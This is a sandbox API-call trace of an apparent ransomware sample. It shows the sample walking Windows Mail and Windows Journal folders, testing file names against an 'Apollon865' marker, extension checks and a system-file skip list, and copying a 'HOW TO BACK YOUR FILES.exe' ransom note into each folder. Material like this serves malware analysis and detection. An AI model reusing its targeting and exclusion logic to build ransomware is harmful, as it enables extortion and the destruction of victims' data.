	[0062.314] lstrlenW (lpString="MSOERES.dll") returned 11
	[0062.314] lstrlenW (lpString="Apollon865") returned 10
	[0062.315] lstrcmpiW (lpString1="SOERES.dll", lpString2="Apollon865") returned 1
	[0062.315] lstrlenW (lpString=".dll") returned 4
	[0062.315] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".dll") returned 1
	[0062.315] lstrlenW (lpString=".lnk") returned 4
	[0062.315] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".lnk") returned 1
	[0062.315] lstrlenW (lpString=".ini") returned 4
	[0062.315] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".ini") returned 1
	[0062.315] lstrlenW (lpString=".sys") returned 4
	[0062.315] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".sys") returned 1
	[0062.315] lstrlenW (lpString="MSOERES.dll") returned 11
	[0062.315] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="oeimport.dll" | out: lpString1="oeimport.dll") returned="oeimport.dll"
	[0062.315] lstrlenW (lpString="oeimport.dll") returned 12
	[0062.315] lstrlenW (lpString="Apollon865") returned 10
	[0062.315] lstrcmpiW (lpString1="import.dll", lpString2="Apollon865") returned 1
	[0062.315] lstrlenW (lpString=".dll") returned 4
	[0062.315] lstrcmpiW (lpString1="oeimport.dll", lpString2=".dll") returned 1
	[0062.315] lstrlenW (lpString=".lnk") returned 4
	[0062.315] lstrcmpiW (lpString1="oeimport.dll", lpString2=".lnk") returned 1
	[0062.315] lstrlenW (lpString=".ini") returned 4
	[0062.315] lstrcmpiW (lpString1="oeimport.dll", lpString2=".ini") returned 1
	[0062.315] lstrlenW (lpString=".sys") returned 4
	[0062.315] lstrcmpiW (lpString1="oeimport.dll", lpString2=".sys") returned 1
	[0062.315] lstrlenW (lpString="oeimport.dll") returned 12
	[0062.315] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="wab.exe" | out: lpString1="wab.exe") returned="wab.exe"
	[0062.315] lstrlenW (lpString="wab.exe") returned 7
	[0062.315] lstrlenW (lpString="Apollon865") returned 10
	[0062.315] lstrlenW (lpString=".dll") returned 4
	[0062.315] lstrcmpiW (lpString1="wab.exe", lpString2=".dll") returned 1
	[0062.315] lstrlenW (lpString=".lnk") returned 4
	[0062.316] lstrcmpiW (lpString1="wab.exe", lpString2=".lnk") returned 1
	[0062.316] lstrlenW (lpString=".ini") returned 4
	[0062.316] lstrcmpiW (lpString1="wab.exe", lpString2=".ini") returned 1
	[0062.316] lstrlenW (lpString=".sys") returned 4
	[0062.316] lstrcmpiW (lpString1="wab.exe", lpString2=".sys") returned 1
	[0062.316] lstrlenW (lpString="wab.exe") returned 7
	[0062.316] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="wabfind.dll" | out: lpString1="wabfind.dll") returned="wabfind.dll"
	[0062.316] lstrlenW (lpString="wabfind.dll") returned 11
	[0062.316] lstrlenW (lpString="Apollon865") returned 10
	[0062.316] lstrcmpiW (lpString1="abfind.dll", lpString2="Apollon865") returned -1
	[0062.316] lstrlenW (lpString=".dll") returned 4
	[0062.316] lstrcmpiW (lpString1="wabfind.dll", lpString2=".dll") returned 1
	[0062.316] lstrlenW (lpString=".lnk") returned 4
	[0062.316] lstrcmpiW (lpString1="wabfind.dll", lpString2=".lnk") returned 1
	[0062.316] lstrlenW (lpString=".ini") returned 4
	[0062.316] lstrcmpiW (lpString1="wabfind.dll", lpString2=".ini") returned 1
	[0062.316] lstrlenW (lpString=".sys") returned 4
	[0062.316] lstrcmpiW (lpString1="wabfind.dll", lpString2=".sys") returned 1
	[0062.316] lstrlenW (lpString="wabfind.dll") returned 11
	[0062.316] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="wabimp.dll" | out: lpString1="wabimp.dll") returned="wabimp.dll"
	[0062.316] lstrlenW (lpString="wabimp.dll") returned 10
	[0062.316] lstrlenW (lpString="Apollon865") returned 10
	[0062.316] lstrlenW (lpString=".dll") returned 4
	[0062.316] lstrcmpiW (lpString1="wabimp.dll", lpString2=".dll") returned 1
	[0062.316] lstrlenW (lpString=".lnk") returned 4
	[0062.316] lstrcmpiW (lpString1="wabimp.dll", lpString2=".lnk") returned 1
	[0062.316] lstrlenW (lpString=".ini") returned 4
	[0062.316] lstrcmpiW (lpString1="wabimp.dll", lpString2=".ini") returned 1
	[0062.316] lstrlenW (lpString=".sys") returned 4
	[0062.316] lstrcmpiW (lpString1="wabimp.dll", lpString2=".sys") returned 1
	[0062.317] lstrlenW (lpString="wabimp.dll") returned 10
	[0062.317] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="wabmig.exe" | out: lpString1="wabmig.exe") returned="wabmig.exe"
	[0062.317] lstrlenW (lpString="wabmig.exe") returned 10
	[0062.317] lstrlenW (lpString="Apollon865") returned 10
	[0062.317] lstrlenW (lpString=".dll") returned 4
	[0062.317] lstrcmpiW (lpString1="wabmig.exe", lpString2=".dll") returned 1
	[0062.317] lstrlenW (lpString=".lnk") returned 4
	[0062.317] lstrcmpiW (lpString1="wabmig.exe", lpString2=".lnk") returned 1
	[0062.317] lstrlenW (lpString=".ini") returned 4
	[0062.317] lstrcmpiW (lpString1="wabmig.exe", lpString2=".ini") returned 1
	[0062.317] lstrlenW (lpString=".sys") returned 4
	[0062.317] lstrcmpiW (lpString1="wabmig.exe", lpString2=".sys") returned 1
	[0062.317] lstrlenW (lpString="wabmig.exe") returned 10
	[0062.317] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="WinMail.exe" | out: lpString1="WinMail.exe") returned="WinMail.exe"
	[0062.317] lstrlenW (lpString="WinMail.exe") returned 11
	[0062.317] lstrlenW (lpString="Apollon865") returned 10
	[0062.317] lstrcmpiW (lpString1="inMail.exe", lpString2="Apollon865") returned 1
	[0062.317] lstrlenW (lpString=".dll") returned 4
	[0062.317] lstrcmpiW (lpString1="WinMail.exe", lpString2=".dll") returned 1
	[0062.317] lstrlenW (lpString=".lnk") returned 4
	[0062.317] lstrcmpiW (lpString1="WinMail.exe", lpString2=".lnk") returned 1
	[0062.317] lstrlenW (lpString=".ini") returned 4
	[0062.317] lstrcmpiW (lpString1="WinMail.exe", lpString2=".ini") returned 1
	[0062.317] lstrlenW (lpString=".sys") returned 4
	[0062.317] lstrcmpiW (lpString1="WinMail.exe", lpString2=".sys") returned 1
	[0062.317] lstrlenW (lpString="WinMail.exe") returned 11
	[0062.318] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Mail\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US"
	[0062.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf28 | out: hHeap=0x580000) returned 1
	[0062.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0062.318] lstrlenW (lpString="C:\\Program Files\\Windows Mail\\en-US") returned 35
	[0062.318] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Mail\\en-US" | out: lpString1="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US"
	[0062.318] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.318] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Mail\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows mail\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.322] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.322] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d3727b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3727b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.322] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.322] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.322] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.322] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d3727b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3727b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.322] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.322] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.322] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.322] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.322] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d3727b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d3727b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.322] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.322] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1
	[0062.322] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.322] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".") returned 1
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="..") returned 1
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="windows") returned -1
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="bootmgr") returned 1
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="temp") returned -1
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="pagefile.sys") returned -1
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="boot") returned 1
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="ids.txt") returned 1
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="ntuser.dat") returned -1
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="perflogs") returned -1
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="MSBuild") returned 1
	[0062.323] lstrlenW (lpString="msoeres.dll.mui") returned 15
	[0062.323] lstrlenW (lpString="C:\\Program Files\\Windows Mail\\en-US\\*") returned 37
	[0062.323] lstrcpyW (in: lpString1=0x2d3e598, lpString2="msoeres.dll.mui" | out: lpString1="msoeres.dll.mui") returned="msoeres.dll.mui"
	[0062.323] lstrlenW (lpString="msoeres.dll.mui") returned 15
	[0062.323] lstrlenW (lpString="Apollon865") returned 10
	[0062.323] lstrcmpiW (lpString1="es.dll.mui", lpString2="Apollon865") returned 1
	[0062.323] lstrlenW (lpString=".dll") returned 4
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".dll") returned 1
	[0062.323] lstrlenW (lpString=".lnk") returned 4
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".lnk") returned 1
	[0062.323] lstrlenW (lpString=".ini") returned 4
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".ini") returned 1
	[0062.323] lstrlenW (lpString=".sys") returned 4
	[0062.323] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".sys") returned 1
	[0062.323] lstrlenW (lpString="msoeres.dll.mui") returned 15
	[0062.324] lstrcpyW (in: lpString1=0x2d3e598, lpString2="WinMail.exe.mui" | out: lpString1="WinMail.exe.mui") returned="WinMail.exe.mui"
	[0062.324] lstrlenW (lpString="WinMail.exe.mui") returned 15
	[0062.324] lstrlenW (lpString="Apollon865") returned 10
	[0062.324] lstrcmpiW (lpString1="il.exe.mui", lpString2="Apollon865") returned 1
	[0062.324] lstrlenW (lpString=".dll") returned 4
	[0062.324] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".dll") returned 1
	[0062.324] lstrlenW (lpString=".lnk") returned 4
	[0062.324] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".lnk") returned 1
	[0062.324] lstrlenW (lpString=".ini") returned 4
	[0062.324] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".ini") returned 1
	[0062.324] lstrlenW (lpString=".sys") returned 4
	[0062.324] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".sys") returned 1
	[0062.324] lstrlenW (lpString="WinMail.exe.mui") returned 15
	[0062.324] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Journal", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal"
	[0062.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bded8 | out: hHeap=0x580000) returned 1
	[0062.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0062.324] lstrlenW (lpString="C:\\Program Files\\Windows Journal") returned 32
	[0062.324] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Journal" | out: lpString1="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal"
	[0062.324] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.324] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows journal\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.330] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3d398910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d398910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.330] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.330] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.330] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.330] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3d398910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d398910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.330] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.330] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.330] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.330] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.330] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0062.330] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.330] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0062.330] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0062.330] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0062.330] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0062.330] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0062.330] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0062.330] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0062.330] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0062.330] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0062.331] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0062.331] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0062.331] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0062.331] lstrlenW (lpString="en-US") returned 5
	[0062.331] lstrlenW (lpString="C:\\Program Files\\Windows Journal\\*") returned 34
	[0062.331] lstrcpyW (in: lpString1=0x2d3e592, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0062.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0062.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bca68
	[0062.331] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0062.331] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d398910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d398910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.331] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.331] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2=".") returned 1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2="..") returned 1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2="windows") returned -1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2="bootmgr") returned 1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2="temp") returned -1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2="pagefile.sys") returned -1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2="boot") returned 1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2="ids.txt") returned 1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2="ntuser.dat") returned -1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2="perflogs") returned -1
	[0062.331] lstrcmpiW (lpString1="InkSeg.dll", lpString2="MSBuild") returned -1
	[0062.331] lstrlenW (lpString="InkSeg.dll") returned 10
	[0062.331] lstrlenW (lpString="C:\\Program Files\\Windows Journal\\en-US") returned 38
	[0062.331] lstrcpyW (in: lpString1=0x2d3e592, lpString2="InkSeg.dll" | out: lpString1="InkSeg.dll") returned="InkSeg.dll"
	[0062.331] lstrlenW (lpString="InkSeg.dll") returned 10
	[0062.331] lstrlenW (lpString="Apollon865") returned 10
	[0062.331] lstrlenW (lpString=".dll") returned 4
	[0062.332] lstrcmpiW (lpString1="InkSeg.dll", lpString2=".dll") returned 1
	[0062.332] lstrlenW (lpString=".lnk") returned 4
	[0062.332] lstrcmpiW (lpString1="InkSeg.dll", lpString2=".lnk") returned 1
	[0062.332] lstrlenW (lpString=".ini") returned 4
	[0062.332] lstrcmpiW (lpString1="InkSeg.dll", lpString2=".ini") returned 1
	[0062.332] lstrlenW (lpString=".sys") returned 4
	[0062.332] lstrcmpiW (lpString1="InkSeg.dll", lpString2=".sys") returned 1
	[0062.332] lstrlenW (lpString="InkSeg.dll") returned 10
	[0062.332] lstrcpyW (in: lpString1=0x2d3e592, lpString2="JNTFiltr.dll" | out: lpString1="JNTFiltr.dll") returned="JNTFiltr.dll"
	[0062.332] lstrlenW (lpString="JNTFiltr.dll") returned 12
	[0062.332] lstrlenW (lpString="Apollon865") returned 10
	[0062.332] lstrcmpiW (lpString1="TFiltr.dll", lpString2="Apollon865") returned 1
	[0062.332] lstrlenW (lpString=".dll") returned 4
	[0062.332] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2=".dll") returned 1
	[0062.332] lstrlenW (lpString=".lnk") returned 4
	[0062.332] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2=".lnk") returned 1
	[0062.332] lstrlenW (lpString=".ini") returned 4
	[0062.332] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2=".ini") returned 1
	[0062.332] lstrlenW (lpString=".sys") returned 4
	[0062.332] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2=".sys") returned 1
	[0062.332] lstrlenW (lpString="JNTFiltr.dll") returned 12
	[0062.332] lstrcpyW (in: lpString1=0x2d3e592, lpString2="JNWDRV.dll" | out: lpString1="JNWDRV.dll") returned="JNWDRV.dll"
	[0062.332] lstrlenW (lpString="JNWDRV.dll") returned 10
	[0062.332] lstrlenW (lpString="Apollon865") returned 10
	[0062.332] lstrlenW (lpString=".dll") returned 4
	[0062.332] lstrcmpiW (lpString1="JNWDRV.dll", lpString2=".dll") returned 1
	[0062.332] lstrlenW (lpString=".lnk") returned 4
	[0062.332] lstrcmpiW (lpString1="JNWDRV.dll", lpString2=".lnk") returned 1
	[0062.333] lstrlenW (lpString=".ini") returned 4
	[0062.333] lstrcmpiW (lpString1="JNWDRV.dll", lpString2=".ini") returned 1
	[0062.333] lstrlenW (lpString=".sys") returned 4
	[0062.333] lstrcmpiW (lpString1="JNWDRV.dll", lpString2=".sys") returned 1
	[0062.333] lstrlenW (lpString="JNWDRV.dll") returned 10
	[0062.333] lstrcpyW (in: lpString1=0x2d3e592, lpString2="jnwdui.dll" | out: lpString1="jnwdui.dll") returned="jnwdui.dll"
	[0062.333] lstrlenW (lpString="jnwdui.dll") returned 10
	[0062.333] lstrlenW (lpString="Apollon865") returned 10
	[0062.333] lstrlenW (lpString=".dll") returned 4
	[0062.333] lstrcmpiW (lpString1="jnwdui.dll", lpString2=".dll") returned 1
	[0062.333] lstrlenW (lpString=".lnk") returned 4
	[0062.333] lstrcmpiW (lpString1="jnwdui.dll", lpString2=".lnk") returned 1
	[0062.333] lstrlenW (lpString=".ini") returned 4
	[0062.333] lstrcmpiW (lpString1="jnwdui.dll", lpString2=".ini") returned 1
	[0062.333] lstrlenW (lpString=".sys") returned 4
	[0062.333] lstrcmpiW (lpString1="jnwdui.dll", lpString2=".sys") returned 1
	[0062.333] lstrlenW (lpString="jnwdui.dll") returned 10
	[0062.333] lstrcpyW (in: lpString1=0x2d3e592, lpString2="jnwmon.dll" | out: lpString1="jnwmon.dll") returned="jnwmon.dll"
	[0062.333] lstrlenW (lpString="jnwmon.dll") returned 10
	[0062.333] lstrlenW (lpString="Apollon865") returned 10
	[0062.333] lstrlenW (lpString=".dll") returned 4
	[0062.333] lstrcmpiW (lpString1="jnwmon.dll", lpString2=".dll") returned 1
	[0062.333] lstrlenW (lpString=".lnk") returned 4
	[0062.333] lstrcmpiW (lpString1="jnwmon.dll", lpString2=".lnk") returned 1
	[0062.333] lstrlenW (lpString=".ini") returned 4
	[0062.333] lstrcmpiW (lpString1="jnwmon.dll", lpString2=".ini") returned 1
	[0062.333] lstrlenW (lpString=".sys") returned 4
	[0062.333] lstrcmpiW (lpString1="jnwmon.dll", lpString2=".sys") returned 1
	[0062.333] lstrlenW (lpString="jnwmon.dll") returned 10
	[0062.334] lstrcpyW (in: lpString1=0x2d3e592, lpString2="jnwppr.dll" | out: lpString1="jnwppr.dll") returned="jnwppr.dll"
	[0062.334] lstrlenW (lpString="jnwppr.dll") returned 10
	[0062.334] lstrlenW (lpString="Apollon865") returned 10
	[0062.334] lstrlenW (lpString=".dll") returned 4
	[0062.334] lstrcmpiW (lpString1="jnwppr.dll", lpString2=".dll") returned 1
	[0062.334] lstrlenW (lpString=".lnk") returned 4
	[0062.334] lstrcmpiW (lpString1="jnwppr.dll", lpString2=".lnk") returned 1
	[0062.334] lstrlenW (lpString=".ini") returned 4
	[0062.334] lstrcmpiW (lpString1="jnwppr.dll", lpString2=".ini") returned 1
	[0062.334] lstrlenW (lpString=".sys") returned 4
	[0062.334] lstrcmpiW (lpString1="jnwppr.dll", lpString2=".sys") returned 1
	[0062.334] lstrlenW (lpString="jnwppr.dll") returned 10
	[0062.334] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Journal.exe" | out: lpString1="Journal.exe") returned="Journal.exe"
	[0062.334] lstrlenW (lpString="Journal.exe") returned 11
	[0062.334] lstrlenW (lpString="Apollon865") returned 10
	[0062.334] lstrcmpiW (lpString1="ournal.exe", lpString2="Apollon865") returned 1
	[0062.334] lstrlenW (lpString=".dll") returned 4
	[0062.334] lstrcmpiW (lpString1="Journal.exe", lpString2=".dll") returned 1
	[0062.334] lstrlenW (lpString=".lnk") returned 4
	[0062.334] lstrcmpiW (lpString1="Journal.exe", lpString2=".lnk") returned 1
	[0062.334] lstrlenW (lpString=".ini") returned 4
	[0062.334] lstrcmpiW (lpString1="Journal.exe", lpString2=".ini") returned 1
	[0062.334] lstrlenW (lpString=".sys") returned 4
	[0062.334] lstrcmpiW (lpString1="Journal.exe", lpString2=".sys") returned 1
	[0062.334] lstrlenW (lpString="Journal.exe") returned 11
	[0062.334] lstrcpyW (in: lpString1=0x2d3e592, lpString2="MSPVWCTL.DLL" | out: lpString1="MSPVWCTL.DLL") returned="MSPVWCTL.DLL"
	[0062.334] lstrlenW (lpString="MSPVWCTL.DLL") returned 12
